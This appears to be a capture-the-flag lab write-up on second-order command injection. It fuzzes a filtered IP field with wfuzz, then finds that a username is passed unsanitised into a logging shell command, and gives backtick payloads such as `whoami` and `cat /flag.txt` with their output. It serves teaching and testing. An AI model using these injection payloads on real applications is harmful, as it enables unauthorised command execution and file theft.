Second-Order Command Injection

Web developers often secure obvious code execution entry points with proper filters. However, many applications implement background tasks that interact with the OS. Testing all input fields for command injection is crucial, even without obvious entry points.

---

Testing the Web Application

Obvious Entry Point: /ping

Web application allows setting and pinging an IP address. This is an obvious entry point for command injection.

Testing for Command Injection

Simple payload attempt:

POST /update HTTP/1.1
Host: 172.17.0.2:1337
Content-Type: application/json

{"deviceIP":"${whoami}","password":""}

Response:

HTTP/1.1 400 Bad Request
{"message": "Invalid Characters in DeviceIP!"}

Result: Filter blocks special characters.

Fuzzing Allowed Characters

Using wfuzz with SecLists special-chars.txt:

wfuzz -u http://172.17.0.2:1337/update \
  -w ./special-chars.txt \
  -d '{"deviceIP":"FUZZ","password":""}' \
  -H 'Content-Type: application/json' \
  -b 'session=<JWT_TOKEN>' \
  --sc 200

Result:

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000024:   200        0 L      3 W        40 Ch       "."

Only . is allowed → Cannot inject command execution payload here.

---

Discovering Hidden Functionality

Analyzing Logout Response

When logging out, response contains:

HTTP/1.1 302 Found
Location: /
Set-Cookie: session=; ...

Session Logged to: /var/log/htb-stdnt

Key insight: Web application logs data based on user profile! If logging uses system commands without sanitization, there may be command injection opportunity.

Testing User Registration

Register new user with special characters in name and username parameters:

Username: test&&id

Login, then logout. Analyze response:

HTTP/1.1 302 Found
Location: /

Session Logged to: /bin/sh: syntax error: unexpected '&&'

Command injection confirmed! The username is passed to a shell command.

---

Exploitation

Register Malicious User

Use backticks for command injection:

Full Name: test
Username: `whoami`
Password: password123

Trigger Execution

1. Login as the new user

2. Logout

3. Check response:

HTTP/1.1 302 Found
Location: /

Session Logged to: /var/log/root

Result: whoami executed → returned root

---

Attack Flow

┌─────────────────────────────────────────────────────────────────────────┐
│                  Second-Order Command Injection                         │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  Obvious entry point (/ping):                                          │
│  └── Filter blocks special chars → No direct injection                 │
│                                                                         │
│  Hidden mechanism (logout logging):                                    │
│  └── Username used in shell command                                    │
│  └── NO filter on username!                                            │
│                                                                         │
│  Attack:                                                               │
│  1. Register user with payload: `command`                              │
│  2. Login as that user                                                 │
│  3. Logout → Command executed in logging mechanism                     │
│  4. Response reveals command output                                    │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

---

Key Takeaways

• Filter at one endpoint ≠ Filter everywhere

• Background processes (logging, cron jobs, etc.) may use user data unsafely

• Test ALL input fields for injection vulnerabilities

• Debug messages can reveal hidden functionality

• Automated scanners help, but manual testing on critical fields is essential

• User profile data (username, name, email) is often used in background processes

---

Question Walkthrough

Task: Exploit second-order command injection to obtain the flag.

Step 1: Register Malicious User

Navigate to /register

Set username to (with backticks):

`cat /flag.txt`

Step 2: Login

Login with the newly created account.

Step 3: Logout and Capture Response

With Burp intercepting, logout and send request to Repeater.

Step 4: Check Response

The logout response contains:

Session Logged to: <FLAG_CONTENT>

Flag is displayed in the response!